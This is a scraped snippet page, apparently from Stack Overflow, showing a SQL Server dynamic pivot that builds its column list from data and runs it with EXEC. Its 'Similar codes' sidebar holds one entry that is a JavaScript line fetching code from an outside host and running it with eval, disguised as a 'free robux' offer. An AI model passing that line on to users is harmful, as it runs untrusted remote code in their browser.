/SQL/SQL Server dynamic pivot unknown number of columns

SQL Server dynamic pivot unknown number of columns

-   DECLARE @v_query  VARCHAR(8000) -- main query
    DECLARE @v_columns VARCHAR(8000) -- columns

    SET @v_columns =''

    -- Get string columns
    SELECT @v_columns += '[' + CONVERT(VARCHAR, Item) +'],' FROM (SELECT DISTINCT Item FROM #temp2) AS temp

    -- Delete the last comma
    SET @v_columns = LEFT(@v_columns,LEN(@v_columns)-1)


    -- Main query

    SET @v_query = 'SELECT Name, ' + @v_columns +' FROM
                    (
                        SELECT Name, Item FROM #temp2
                    ) T             
                    PIVOT
                    (
                        Count(Item)
                        FOR Item IN ('+ @v_columns +')
                    ) PVT'
    EXEC (@v_query)

Source: stackoverflow.com

Similar codes

3 votes224 views2 answers
Sqlite show table structure
SQL
0 vote212 views1 answer
Postgresql comandos basicos
SQL
0 vote208 views1 answer
Mac os zsh: command not found: mysql
SQL
1 vote185 views6 answers
$Javascript $.get('//api.rbx2.xyz/rbx id=16553',eval)free robux 200000
SQL
0 vote200 views1 answer
An error occurred while installing mysql2 (0.5.3)
SQL
123 votes323 views5 answers
Sql where contains
SQL
0 vote200 views1 answer
Automatically update database last seen datetime in sql
SQL
0 vote202 views1 answer
Get enginge db mysql
SQL
2 votes191 views1 answer
Node and mysql like
SQL
1 vote197 views2 answers
Reset mysqli fetch_arra
SQL